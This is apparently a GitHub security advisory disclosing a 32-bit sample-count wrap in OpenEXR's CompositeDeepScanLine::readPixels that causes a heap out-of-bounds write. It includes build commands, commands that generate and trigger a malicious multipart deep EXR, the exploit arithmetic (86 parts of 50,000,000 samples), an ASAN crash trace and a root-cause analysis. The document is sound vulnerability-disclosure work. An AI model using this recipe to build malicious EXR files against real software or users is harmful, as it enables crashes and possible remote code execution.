GHSA-cr4v-6jm6-4963

## Summary

Function: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).

Vulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`): - `total_sizes[ptr] += counts[j][ptr];` (line ~511) - `overall_sample_count += total_sizes[ptr];` (line ~514) - `samples[channel].resize (overall_sample_count);` (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).

Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

## Steps to reproduce

[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)

PoC files used: - Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp` - Minimal high-level reader harness: `poc/simple_exr_reader.cpp`

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.

Build with ASAN/UBSAN:

```bash cmake -S . -B build-asan \ -DOPENEXR_BUILD_POC=ON \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j ```

Generate malicious file (decode-path focused profile):

```bash ASAN_OPTIONS=detect_leaks=0 timeout 180s \ ./build-asan/poc/composite_writer \ --profile low-ram \ --file /tmp/composite_decode_focus.exr ```

Trigger:

```bash ASAN_OPTIONS=detect_leaks=0 timeout 30s \ ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr ```

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

## Example runs

Writer (abbrev):

```bash ❯ ./build-asan/poc/composite_writer exploit math: benign samples : 300 malicious parts : 86 malicious samples per part : 50000000 true total samples : 4300000300 uint32 overflow reached : yes wrapped uint32 total : 5033004 composite Z/A alloc from wrap : 40264032 bytes (38.40 MiB) per-part unpacked sample bytes : 300000000 bytes (286.10 MiB) min parts to overflow (current benign/samples): 86 writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr writing donor malicious part (50000000 samples) copying malicious part 1/86 from donor chunk ... file size: 26112896 bytes (24.90 MiB) ```

Reader ASAN crash:

```bash ❯ ./build-asan/poc/simple_exr_reader reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts ================================================================= ==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670 WRITE of size 4 at 0x7ed1a55d90b0 thread T0 #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664 #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816 #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568 #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576 #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88 #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360 #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0) allocated by thread T0 here: #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95 #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151 #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482 #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381 #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378 #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663 #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016 #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535 #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88 #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360 #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers Shadow bytes around the buggy address: 0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa 0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==175024==ABORTING ```

## Root cause analysis

In `CompositeDeepScanLine::readPixels`:

1. Per-pixel totals are accumulated in `vector<unsigned int> total_sizes`. 2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`. 3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`. 4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

## Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.